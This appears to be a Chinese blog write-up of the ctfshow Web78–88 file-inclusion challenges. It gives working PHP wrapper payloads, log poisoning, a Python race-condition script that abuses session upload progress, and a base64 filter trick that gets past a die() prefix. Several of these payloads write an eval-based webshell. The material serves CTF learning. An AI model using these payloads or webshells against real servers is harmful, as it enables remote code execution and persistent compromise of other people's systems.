Ctfshow Web入门 - 文件包含总结
普通文件包含
常见的php伪协议大致四种
1.php://filter 主要用于读取源码 2.php://input 经常使用file_get_contents获取php://input内容 3.data:// 执行命令 4.file:// 访问本地文件系统
Web78
payload:?file=php://filter/read=convert.base64-encode/resource=flag.php
主要是别忘了convert,用于转换编码用的,缺少会报错
Web79
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); include($file); }else{ highlight_file(__FILE__); }
php被替换为???,因此不能明文读取
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
其中
PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs= 为base64编码的 <?php system('cat flag.php'); ?>
Web80-81
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); include($file); }else{ highlight_file(__FILE__); }
同理过滤
用日志包含绕过,将执行的命令插入日志中
这道题奇怪的是nginx日志在/var/log/nginx/access.log,一般apache日志在类似目录下(/var/log/httpd/access.log)
包含,看见会写入访问的User-Agent
Web82-86
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
考点貌似是参考了19年某比赛的题目
这道题和我写的突破shell命令限制中,运用的P神的方法有异曲同工之妙,也是上传临时文件并执行
参考了大佬的做法:https://www.cnblogs.com/NPFS/p/13797449.html
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
1.简单来说,上面这个选项开启以后,上传文件,我们能够POST请求查看上传进度
2.我们在session中写入我们要执行的代码
3.用户可以自己定义Session ID,比如在Cookie里设置PHPSESSID=flag,PHP将会在服务器上创建一个文件:/tmp/sess_flag,我们能够命名'sess_'后面的名字
4.之后要执行就要包含这个session文件
5.默认情况下,session.upload_progress.cleanup是开启的,一旦读取了所有POST数据,就会清除进度信息
6.于是我们需要条件竞争来读取文件,所谓条件竞争简单来说是在执行系统命令前先执行完自己的代码,在文件上传中很常见
写一个POST网页
<!DOCTYPE html> <html> <body> <form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('ls');?>" /> <input type="file" name="file" /> <input type="submit" value="submit" /> </form> </body> </html>
随便POST一个文件,最好稍大一点
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
这是一开始POST的包
添加PHPSESSID
开启POST包的爆破,之后包含GET包也进行爆破
可以设置为无payload,不过要先clear选择要爆破的内容,之后选择无限发包
不过我怎么试都没成功,可能和第二次请求没有cookie有关,或是请求不是同一次,造成的失败
这里没有多研究
在参考了另一篇博客:https://blog.csdn.net/qq_44657899/article/details/109281343
用了python来发包,最后成功了
import io import sys import requests import threading sessid = 'Qftm' def POST(session): while True: f = io.BytesIO(b'a' * 1024 * 50) session.post( 'http://3b92be0e-c676-4b32-ae10-e6892b3f4e1c.chall.ctf.show/', data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"}, files={"file":('q.txt', f)}, cookies={'PHPSESSID':sessid} ) def READ(session): while True: response = session.get(f'http://3b92be0e-c676-4b32-ae10-e6892b3f4e1c.chall.ctf.show/?file=/tmp/sess_{sessid}') if 'flag' not in response.text: print('[+++]retry') else: print(response.text) sys.exit(0) with requests.session() as session: t1 = threading.Thread(target=POST, args=(session, )) t1.daemon = True t1.start() READ(session)
这里脚本用了使用多线程来执行条件竞争
fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>'
是典型的条件竞争语句,运用在文件上传漏洞
一遍遍尝试,若返回session中不包含flag字样就重新尝试
最后成功读取session内容
Web87
if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }else{ highlight_file(__FILE__); }
参考P神的文章:https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list
在巧用编码与解码中,介绍了使用base64编码特性解决在content前拼接退出<?php exit();?>的问题
大致方法如下:
1.base64编码中只包含64个可打印字符
2.$file是我们我们可控的协议流,我们使用base64编码,在解码时去掉退出代码中不支持的字符,变为phpdie,在后面加上aa使得能正常解码phpdieaa(base64编码解码特性,4字节一组)
3.首先尝试语句为php://filter/write=convert.base64-encode/resource=1.php(1.php自己命名),这里有urldecode($file)因此要编码两次,
同时在hackbar进行content的POST操作,POST base64编码的代码<?php @eval($_POST[a]);?>在前面加个aa
aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==
没成功截断之前:
写入后访问网页如下
这一步暂时只是测试
4.同理将上面语句中的convert.base64-encode改为convert.base64-decode,url编码两次
%2570%2568%2570%253A%252F%252F%2566%2569%256C%2574%2565%2572%252F%2577%2572%2569%2574%2565%253D%2563%256F%256E%2576%2565%2572%2574%252E%2562%2561%2573%2565%2536%2534%252D%2564%2565%2563%256F%2564%2565%252F%2572%2565%2573%256F%2575%2572%2563%2565%253D%2531%252E%2570%2568%2570
以下问题是因为编码问题产生的,看有没有满足base64解码的条件,4字节一组
5.访问当前网页的1.php,发现成功用编码截断了die的操作
之后POST参数a进行命令执行
若还是失败,推荐P神其他的解法,这里就不演示了
Web88
解法同Web79
作者: ch0bits
出处:https://www.cnblogs.com/echoDetected/p/13976405.html
本站使用「CC BY 4.0」创作共享协议,转载请在文章明显位置注明作者及出处。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现